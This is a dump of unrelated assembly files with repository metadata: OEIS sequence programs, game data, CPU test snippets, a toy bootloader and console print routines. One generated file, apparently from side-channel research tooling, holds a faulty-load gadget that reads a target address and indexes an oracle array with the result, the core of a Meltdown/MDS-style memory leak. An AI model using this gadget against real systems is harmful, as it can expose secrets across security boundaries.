prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
Name: z00_rmdt0.asm Type: file Size: 172147 Last-Modified: '2016-05-13T04:36:32Z' SHA-1: 8D4C35677AC1F9EAABEEDDCE8B9DF9C00AF150E9 Description: null
21.142857
47
0.817568
284bdbdf7e7e507d9c2b91446e47f1c8523b7750
350
asm
Assembly
programs/oeis/138/A138055.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/138/A138055.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/138/A138055.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A138055: Period 8: repeat 1, 3, 5, 9, 3, 1, 9, 5. ; 1,3,5,9,3,1,9,5,1,3,5,9,3,1,9,5,1,3,5,9,3,1,9,5,1,3,5,9,3,1,9,5,1,3,5,9,3,1,9,5,1,3,5,9,3,1,9,5,1,3,5,9,3,1,9,5,1,3,5,9,3,1,9,5,1,3,5,9,3,1,9,5,1,3,5,9,3,1,9,5,1,3,5,9,3,1,9,5,1,3,5,9,3,1,9,5,1,3,5,9 sub $2,$0 mul $0,4 sub $0,$2 div $0,2 add $0,2 mov $1,2 pow $1,$0 sub $1,3 mod $1,10 mov $0,$1
25
201
0.511429
d0c7cdf8d33895dd6f3f124590ecd0af4e09e6a4
466
asm
Assembly
data/pokemon/base_stats/hoenn/manectric.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
null
null
null
data/pokemon/base_stats/hoenn/manectric.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
null
null
null
data/pokemon/base_stats/hoenn/manectric.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
null
null
null
db 0 ; 310 DEX NO db 70, 75, 60, 105, 105, 60 ; hp atk def spd sat sdf db ELECTRIC, ELECTRIC ; type db 45 ; catch rate db 168 ; base exp db NO_ITEM, NO_ITEM ; items db GENDER_F50 ; gender ratio db 100 ; unknown 1 db 20 ; step cycles to hatch db 5 ; unknown 2 INCBIN "gfx/pokemon/hoenn/manectric/front.dimensions" db 0, 0, 0, 0 ; padding db GROWTH_SLOW ; growth rate dn EGG_GROUND, EGG_GROUND ; egg groups ; tm/hm learnset tmhm ; end
21.181818
54
0.667382
b735602f4e89ed47d08370cb60d82b160f110793
146
asm
Assembly
test/z80/test_sub.asm
gb-archive/asmotor
c821d8be10b7b66d93e0b68777c8643d9a53955f
[ "Naumen", "Condor-1.1", "MS-PL" ]
null
null
null
test/z80/test_sub.asm
gb-archive/asmotor
c821d8be10b7b66d93e0b68777c8643d9a53955f
[ "Naumen", "Condor-1.1", "MS-PL" ]
null
null
null
test/z80/test_sub.asm
gb-archive/asmotor
c821d8be10b7b66d93e0b68777c8643d9a53955f
[ "Naumen", "Condor-1.1", "MS-PL" ]
null
null
null
SECTION "Test",CODE[0] sub (hl) sub a,(ix+2) sub a,(iy-2) sub a,b sub a,c sub a,d sub a,e sub a,h sub a,l sub a,a sub a,2
10.428571
23
0.513699
3866d7246560bdc7202e8d0156073d5403aa6582
237
asm
Assembly
mips/test.asm
x06lan/mt
3e4ddacc7717595acbfd689e22cd1e154843b99e
[ "MIT" ]
null
null
null
mips/test.asm
x06lan/mt
3e4ddacc7717595acbfd689e22cd1e154843b99e
[ "MIT" ]
null
null
null
mips/test.asm
x06lan/mt
3e4ddacc7717595acbfd689e22cd1e154843b99e
[ "MIT" ]
null
null
null
.data newline:.asciiz "\n" .text main: li $t0,0 li $t1,0 li $t3,0 loop: li $v0,1 addi $a0,$t0,0 syscall li $v0,4 la $a0,newline syscall addi $t0,$t0,1 bgt $t0,14,exit j loop exit: li $v0,0
9.875
21
0.518987
d1d749f5a9f0229c3b4668366f0dbdb2094c3a4e
1,750
asm
Assembly
boot/boot.asm
alichtman/masOSchism
3d2a088727087cfcf6e9f073181de28a0b499c01
[ "MIT" ]
null
null
null
boot/boot.asm
alichtman/masOSchism
3d2a088727087cfcf6e9f073181de28a0b499c01
[ "MIT" ]
null
null
null
boot/boot.asm
alichtman/masOSchism
3d2a088727087cfcf6e9f073181de28a0b499c01
[ "MIT" ]
null
null
null
[org 0x7c00] ; Set global offset for memory access in boot sector KERNEL_OFFSET equ 0x1000 ; The same offset used when linking the kernel ; Set up stack in a safe spot mov [BOOT_DRIVE], dl ; BIOS sets us the boot drive in 'dl' on boot mov bp, 0x8000 mov sp, bp ; Say hello from 16-bit real mode call print_newline mov bx, BOOT_MSG call print_with_newline ; Load kernel call load_kernel ; Disable interrupts, load GDT. Finally jumps to 'begin_protected_mode_routine' call switch_to_32bit_protected_mode jmp $ ; Hang ;;;;;;;;;;;; ; INCLUDES ; ;;;;;;;;;;;; %include "boot/print/print_ascii.asm" %include "boot/print/print_ascii_32bit.asm" %include "boot/print/print_hex.asm" %include "boot/read_disk.asm" %include "boot/32bit-gdt.asm" %include "boot/mode-switch.asm" [bits 16] load_kernel: mov bx, LOADING_KERNEL_MSG call print_with_newline ; Read from disk and store in 0x1000 mov bx, KERNEL_OFFSET mov dh, 2 mov dl, [BOOT_DRIVE] call read_disk_sectors ret [bits 32] begin_protected_mode_routine: mov ebx, HELLO_FROM_PROTECTED_MODE_MSG ; This will be printed at the top of the screen call print_string_32b call KERNEL_OFFSET ; Give control to the kernel mov ebx, 0 ; exit code, 0=normal mov eax, 1 ; exit command to kernel int 0x80 ; interrupt 80 hex, call kernel ;;;;;;;;;;;;;;;; ; DATA SECTION ; ;;;;;;;;;;;;;;;; BOOT_DRIVE: db 0 ; Since 'dl' may be overwritten, this should be stored in memory ; Messages BOOT_MSG: db 'Booting masOSchism - Real Mode', 0 HELLO_FROM_PROTECTED_MODE_MSG: db "Switched to PM", 0 LOADING_KERNEL_MSG: db "Loading kernel into mem", 0 ; Fill with 510 zeros minus the size of the previous code and append magic number times 510-($-$$) db 0 dw 0xaa55 ; vim: set ft=nasm noet : /*
25.735294
87
0.728
508c577c96aec9ca8b8bc5adf520dc8a1eca0690
556
asm
Assembly
libsrc/stdio/nascom/fgetc_cons.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/stdio/nascom/fgetc_cons.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/stdio/nascom/fgetc_cons.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; ; Keyboard routines for the NASCOM1/2 ; By Stefano Bodrato - 23/05/2003 ; ; getkey() Wait for keypress ; ; ; $Id: fgetc_cons.asm,v 1.4 2016-04-03 13:10:24 dom Exp $ ; SECTION code_clib PUBLIC fgetc_cons EXTERN montest .fgetc_cons call montest jr nz,nassys ; NASBUG 'T' monitor .tin call 0c4dh jr nc,tin cp 1dh jr nz,notbs ld a,8 .notbs cp 1fh jr nz,notcr ld a,13 .notcr jr fgetcc_exit ; NASSYS monitor .nassys rst 8 .fgetcc_exit IF STANDARDESCAPECHARS cp 13 jr nz,not_return ld a,10 .not_return ENDIF ld l,a ld h,0 ret
10.901961
57
0.694245
cda7598af28c2efe93f9af85ef361ce3da6331c3
681
asm
Assembly
oeis/110/A110512.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/110/A110512.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/110/A110512.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A110512: Expansion of (1 + x)/(1 + x + 2x^2). ; Submitted by Jon Maiga ; 1,0,-2,2,2,-6,2,10,-14,-6,34,-22,-46,90,2,-182,178,186,-542,170,914,-1254,-574,3082,-1934,-4230,8098,362,-16558,15834,17282,-48950,14386,83514,-112286,-54742,279314,-169830,-388798,728458,49138,-1506054,1407778,1604330,-4419886,1211226,7628546,-10050998,-5206094,25308090,-14895902,-35720278,65512082,5928474,-136952638,125095690,148809586,-399000966,101381794,696620138,-899383726,-493856550,2292624002,-1304910902,-3280337102,5890158906,670515298,-12450833110,11109802514,13791863706,-36011468734 mul $0,2 mov $1,1 mov $2,1 lpb $0 sub $0,2 mul $1,2 sub $2,$1 add $1,$2 add $1,$2 lpe mov $0,$1
42.5625
500
0.722467
a53b0f81133a201e84c0cf4972ff8c12ae53bfbb
1,062
asm
Assembly
IO.asm
GZYangKui/assembly
0af4d180f48094e9e6e568b4d09717a7e70579ae
[ "Apache-2.0" ]
null
null
null
IO.asm
GZYangKui/assembly
0af4d180f48094e9e6e568b4d09717a7e70579ae
[ "Apache-2.0" ]
null
null
null
IO.asm
GZYangKui/assembly
0af4d180f48094e9e6e568b4d09717a7e70579ae
[ "Apache-2.0" ]
null
null
null
section .data LF equ 10 NULL equ 0 SYS_write equ 1 SYS_OUT equ 1 section .bss strBuff resb 11 strBuff1 resb 11 section .text ; ; ;将数字转换为字符串并输出 ; ; global print_num print_num: push rbp push rbx mov rbp,rsp mov r8,0 ;被除数 mov rax,qword[rbp+24] leftLoop: cdq ;除数 mov rbx,10 idiv rbx mov bl,dl add bl,48 mov byte[strBuff+r8],bl inc r8 cmp rax,0 ;求余获取单个字符 jne leftLoop mov r9,0 mov r10,r8 ;反转字符串 reviseBuff: mov bl,byte[strBuff+r8-1] mov byte[strBuff1+r9],bl dec r8 inc r9 cmp r9,r10 jbe reviseBuff ;添加LF和NULL到字符串尾 mov byte[strBuff1+r10],LF mov byte[strBuff1+r10+1],NULL mov rsi,strBuff1 ;打印字符串 call print_text pop rbx pop rbp ret ; ;封装通用控制台输出文字信息,调用该函数仅需将字符串地址放入rsi寄存器中即可(注意字符串必须以NULL结尾,否则程序可能异常) ; global print_text print_text: ; 保存寄存器信息 push rdi push rax push rdx mov rdx,0 ;统计字符串长度,以NULL值结尾 countLoop: mov al,byte [rsi+rdx] inc rdx cmp al,NULL jne countLoop ;系统调用输出控制台 mov rdi,SYS_OUT mov rax,SYS_write syscall ;恢复寄存器 pop rdx pop rax pop rdi ret
13.111111
64
0.689266
a573d40ffd5986d32ebec4ca776a8584e027c7de
410
asm
Assembly
programs/oeis/199/A199972.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/199/A199972.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/199/A199972.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A199972: a(n) = the sum of GCQ_B(n, k) for 1 <= k <= n (see definition in comments). ; 0,0,4,9,19,29,41,55,71,89,109,131,155,181,209,239,271,305,341,379,419,461,505,551,599,649,701,755,811,869,929,991,1055,1121,1189,1259,1331,1405,1481,1559,1639,1721,1805,1891,1979,2069 mov $2,$0 mov $4,$0 lpb $2,1 lpb $4,1 add $3,$2 mov $4,1 lpe mov $1,$3 add $3,$2 sub $2,1 mov $4,$1 sub $4,2 lpe
24.117647
185
0.614634
79ef44eaf3f6adcbd79631546afd517085af0059
347
asm
Assembly
programs/oeis/087/A087404.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/087/A087404.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/087/A087404.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A087404: a(n) = 4a(n-1) + 5a(n-2). ; 2,4,26,124,626,3124,15626,78124,390626,1953124,9765626,48828124,244140626,1220703124,6103515626,30517578124,152587890626,762939453124,3814697265626,19073486328124,95367431640626,476837158203124 mov $2,$0 add $2,1 mov $3,$2 mod $3,2 mov $1,$3 mov $4,5 pow $4,$0 add $1,$4 div $1,2 sub $1,1 mul $1,2 add $1,2
21.6875
195
0.717579
b16800ef65289a1862527c34d4cb10a4e33c012f
705
asm
Assembly
oeis/092/A092900.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/092/A092900.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/092/A092900.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A092900: A Jacobsthal sequence (A078008) to base 4. ; Submitted by Christian Krause ; 1,0,2,2,12,22,112,222,1112,2222,11112,22222,111112,222222,1111112,2222222,11111112,22222222,111111112,222222222,1111111112,2222222222,11111111112,22222222222,111111111112,222222222222,1111111111112,2222222222222,11111111111112,22222222222222,111111111111112,222222222222222,1111111111111112,2222222222222222,11111111111111112,22222222222222222,111111111111111112,222222222222222222,1111111111111111112,2222222222222222222,11111111111111111112,22222222222222222222,111111111111111111112 mov $1,14 lpb $0 sub $0,2 mul $2,10 add $2,$1 lpe lpb $0 sub $0,1 cmp $1,3 mul $2,2 lpe add $2,$1 mov $0,$2 div $0,14
37.105263
487
0.817021
a24462c7ef122cfa9da71b021b0079e57273508a
4,590
asm
Assembly
Transynther/x86/_processed/NONE/_xt_sm_/i7-8650U_0xd2_notsx.log_624_484.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i7-8650U_0xd2_notsx.log_624_484.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_sm_/i7-8650U_0xd2_notsx.log_624_484.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r15 push %r8 push %rax push %rbx push %rdx lea addresses_A_ht+0xd1d8, %rax nop nop nop sub %r15, %r15 mov $0x6162636465666768, %r11 movq %r11, %xmm4 vmovups %ymm4, (%rax) nop nop nop nop nop xor %rdx, %rdx lea addresses_WT_ht+0x4bd8, %rbx nop nop nop mfence vmovups (%rbx), %ymm7 vextracti128 $1, %ymm7, %xmm7 vpextrq $1, %xmm7, %r10 add $15422, %rax lea addresses_WC_ht+0xb78, %rbx nop nop nop xor %rdx, %rdx mov (%rbx), %eax nop and %r8, %r8 pop %rdx pop %rbx pop %rax pop %r8 pop %r15 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %rbp push %rcx push %rdi push %rdx push %rsi // Store lea addresses_normal+0xf7fe, %rbp nop nop add $3125, %r12 mov $0x5152535455565758, %rdi movq %rdi, (%rbp) nop nop cmp %rdx, %rdx // REPMOV lea addresses_WC+0x151d8, %rsi lea addresses_A+0x6568, %rdi nop add $25748, %r10 mov $1, %rcx rep movsw nop nop nop add $1099, %rcx // Store lea addresses_WC+0x1da96, %r12 nop sub $49809, %rdi mov $0x5152535455565758, %rbp movq %rbp, %xmm1 and $0xffffffffffffffc0, %r12 movaps %xmm1, (%r12) nop nop nop dec %rsi // Store lea addresses_D+0x1cbd8, %rcx nop xor $2455, %rdx mov $0x5152535455565758, %r10 movq %r10, (%rcx) nop nop add %r12, %r12 // Faulty Load lea addresses_D+0x1cbd8, %rcx nop nop xor %r12, %r12 mov (%rcx), %rdx lea oracles, %rbp and $0xff, %rdx shlq $12, %rdx mov (%rbp,%rdx,1), %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_A', 'congruent': 4, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 16, 'AVXalign': True, 'NT': True, 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}} {'58': 624} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
32.323944
1,871
0.65512
33f7bf9c1849c59352fb1f8747984b8ab478a634
1,208
asm
Assembly
maps/IlexForestAzaleaGate.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
28
2019-11-08T07:19:00.000Z
2021-12-20T10:17:54.000Z
maps/IlexForestAzaleaGate.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
13
2020-01-11T17:00:40.000Z
2021-09-14T01:27:38.000Z
maps/IlexForestAzaleaGate.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
22
2020-05-28T17:31:38.000Z
2022-03-07T20:49:35.000Z
object_const_def ; object_event constants const ILEXFORESTAZALEAGATE_OFFICER const ILEXFORESTAZALEAGATE_GRANNY IlexForestAzaleaGate_MapScripts: db 0 ; scene scripts db 0 ; callbacks IlexForestAzaleaGateOfficerScript: jumptextfaceplayer IlexForestAzaleaGateOfficerText IlexForestAzaleaGateGrannyScript: jumptextfaceplayer IlexForestAzaleaGateGrannyText IlexForestAzaleaGateOfficerText: text "ILEX FOREST is" line "big. Be careful!" cont "Don't get lost." done IlexForestAzaleaGateGrannyText: text "The FOREST is" line "watched over by" cont "its protector." para "Stay out of" line "mischief!" done IlexForestAzaleaGate_MapEvents: db 0, 0 ; filler db 4 ; warp events warp_event 0, 4, ILEX_FOREST, 2 warp_event 0, 5, ILEX_FOREST, 3 warp_event 9, 4, AZALEA_TOWN, 7 warp_event 9, 5, AZALEA_TOWN, 8 db 0 ; coord events db 0 ; bg events db 2 ; object events object_event 5, 2, SPRITE_OFFICER, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, PAL_NPC_RED, OBJECTTYPE_SCRIPT, 0, IlexForestAzaleaGateOfficerScript, -1 object_event 1, 3, SPRITE_GRANNY, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, PAL_NPC_BROWN, OBJECTTYPE_SCRIPT, 0, IlexForestAzaleaGateGrannyScript, -1
25.702128
154
0.783113
1944e88f073c2f7f74a8db414ebc6597b57472ff
2,794
asm
Assembly
008 - Largest Product in a Series/008 - Largest_Product_in_a_Series.asm
LanguageAdventures/Project-Euler-Assembly
acfb296a3430ab860100b571c66ceb1ae101e29c
[ "MIT" ]
null
null
null
008 - Largest Product in a Series/008 - Largest_Product_in_a_Series.asm
LanguageAdventures/Project-Euler-Assembly
acfb296a3430ab860100b571c66ceb1ae101e29c
[ "MIT" ]
null
null
null
008 - Largest Product in a Series/008 - Largest_Product_in_a_Series.asm
LanguageAdventures/Project-Euler-Assembly
acfb296a3430ab860100b571c66ceb1ae101e29c
[ "MIT" ]
null
null
null
format PE console include "win32ax.inc" start: mov esi, 0 .loopOut: xor ebx, ebx xor ecx, ecx mov edi, 0 mov eax, 1 .loopIn: mov bl, [array+esi+edi] mul ebx push edx xchg eax, ecx mul ebx pop edx add eax, edx xchg eax, ecx add edi, 1 cmp edi, 13 jne start.loopIn mov ebx, max mov edx, [ebx+4] cmp ecx, edx jle start.skip mov [ebx], eax mov [ebx+4], ecx .skip: add esi, 1 cmp esi, 988 jne start.loopOut .loopDone: push max call int64ToStr cinvoke printf, eax invoke ExitProcess, 0 array db 7,3,1,6,7,1,7,6,5,3,1,3,3,2,6,2,4,9,1,9,2,2,5,1,1,9,6,7,4,4,2,6,5,7,4,7,4,2,3,5,5,3,4,9,1,9,4,9,3,4,9,6,9,8,3,5,2,0,3,1,2,7,7,4,5,0,6,3,2,6,2,3,9,5,7,8,3,1,8,0,1,6,9,8,4,8,0,1,8,6,9,4,7,8,8,5,1,8,4,3,8,5,8,6,1,5,6,0,7,8,9,1,1,2,9,4,9,4,9,5,4,5,9,5,0,1,7,3,7,9,5,8,3,3,1,9,5,2,8,5,3,2,0,8,8,0,5,5,1,1,1,2,5,4,0,6,9,8,7,4,7,1,5,8,5,2,3,8,6,3,0,5,0,7,1,5,6,9,3,2,9,0,9,6,3,2,9,5,2,2,7,4,4,3,0,4,3,5,5,7,6,6,8,9,6,6,4,8,9,5,0,4,4,5,2,4,4,5,2,3,1,6,1,7,3,1,8,5,6,4,0,3,0,9,8,7,1,1,1,2,1,7,2,2,3,8,3,1,1,3,6,2,2,2,9,8,9,3,4,2,3,3,8,0,3,0,8,1,3,5,3,3,6,2,7,6,6,1,4,2,8,2,8,0,6,4,4,4,4,8,6,6,4,5,2,3,8,7,4,9,3,0,3,5,8,9,0,7,2,9,6,2,9,0,4,9,1,5,6,0,4,4,0,7,7,2,3,9,0,7,1,3,8,1,0,5,1,5,8,5,9,3,0,7,9,6,0,8,6,6,7,0,1,7,2,4,2,7,1,2,1,8,8,3,9,9,8,7,9,7,9,0,8,7,9,2,2,7,4,9,2,1,9,0,1,6,9,9,7,2,0,8,8,8,0,9,3,7,7,6,6,5,7,2,7,3,3,3,0,0,1,0,5,3,3,6,7,8,8,1,2,2,0,2,3,5,4,2,1,8,0,9,7,5,1,2,5,4,5,4,0,5,9,4,7,5,2,2,4,3,5,2,5,8,4,9,0,7,7,1,1,6,7,0,5,5,6,0,1,3,6,0,4,8,3,9,5,8,6,4,4,6,7,0,6,3,2,4,4,1,5,7,2,2,1,5,5,3,9,7,5,3,6,9,7,8,1,7,9,7,7,8,4,6,1,7,4,0,6,4,9,5,5,1,4,9,2,9,0,8,6,2,5,6,9,3,2,1,9,7,8,4,6,8,6,2,2,4,8,2,8,3,9,7,2,2,4,1,3,7,5,6,5,7,0,5,6,0,5,7,4,9,0,2,6,1,4,0,7,9,7,2,9,6,8,6,5,2,4,1,4,5,3,5,1,0,0,4,7,4,8,2,1,6,6,3,7,0,4,8,4,4,0,3,1,9,9,8,9,0,0,0,8,8,9,5,2,4,3,4,5,0,6,5,8,5,4,1,2,2,7,5,8,8,6,6,6,8,8,1,1,6,4,2,7,1,7,1,4,7,9,9,2,4,4,4,2,9,2,8,2,3,0,8,6,3,4,6,5,6,7,4,8,1,3,9,1,9,1,2,3,1,6,2,8,2,4,5,8,6,1,7,8,6,6,4,5,8,3,5,9,1,2,4,5,6,6,5,2,9,4,7,6,5,4,5,6,8,2,8,4,8,9,1,2,8,8,3,1,4,2,6,0,7,6,9,0,0,4,2,2,4,2,1,9,0,2,2,6,7,1,0,5,5,6,2,6,3,2,1,1,1,1,1,0,9,3,7,0,5,4,4,2,1,7,5,0,6,9,4,1,6,5,8,9,6,0,4,0,8,0,7,1,9,8,4,0,3,8,5,0,9,6,2,4,5,5,4,4,4,3,6,2,9,8,1,2,3,0,9,8,7,8,7,9,9,2,7,2,4,4,2,8,4,9,0,9,1,8,8,8,4,5,8,0,1,5,6,1,6,6,0,9,7,9,1,9,1,3,3,8,7,5,4,9,9,2,0,0,5,2,4,0,6,3,6,8,9,9,1,2,5,6,0,7,1,7,6,0,6,0,5,8,8,6,1,1,6,4,6,7,1,0,9,4,0,5,0,7,7,5,4,1,0,0,2,2,5,6,9,8,3,1,5,5,2,0,0,0,5,5,9,3,5,7,2,9,7,2,5,7,1,6,3,6,2,6,9,5,6,1,8,8,2,6,7,0,4,2,8,2,5,2,4,8,3,6,0,0,8,2,3,2,5,7,5,3,0,4,2,0,7,5,2,9,6,3,4,5,0 max dq 0 tmp dd ? include '..\_Shared\Int64ToStr.asm' section '.idata' import data readable library msvcrt, 'msvcrt.dll',\ kernel32, 'kernel32.dll' import msvcrt, printf, 'printf', malloc, 'malloc' import kernel32, ExitProcess, 'ExitProcess'
45.064516
2,009
0.548676
5c9f8d32161e4d0d5c4ccf7d2f492349b0619ca3
693
asm
Assembly
oeis/191/A191014.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/191/A191014.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/191/A191014.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A191014: a(n) = 10*a(n-1) + 2*a(n-2), with a(0)=0, a(1)=1. ; Submitted by Jamie Morken(s2) ; 0,1,10,102,1040,10604,108120,1102408,11240320,114608016,1168560800,11914824032,121485361920,1238683267264,12629803396480,128775400499328,1313013611786240,13387686918861056,136502896412183040,1391804337959552512,14191049172419891200,144694100400118017024,1475323102346019952640,15042619224260435560448,153376838447296395509760,1563853622921484826218496,15945289906109441053204480,162580606306937380184481792,1657696642881592683951226880,16902127641429801599881232384,172336669700061201366714777600 mov $3,1 lpb $0 sub $0,1 mul $1,2 mov $2,$3 mul $3,10 add $3,$1 mov $1,$2 lpe mov $0,$1
46.2
498
0.816739
4f34100217d16baf82da5846a8577ab538ea651e
2,728
asm
Assembly
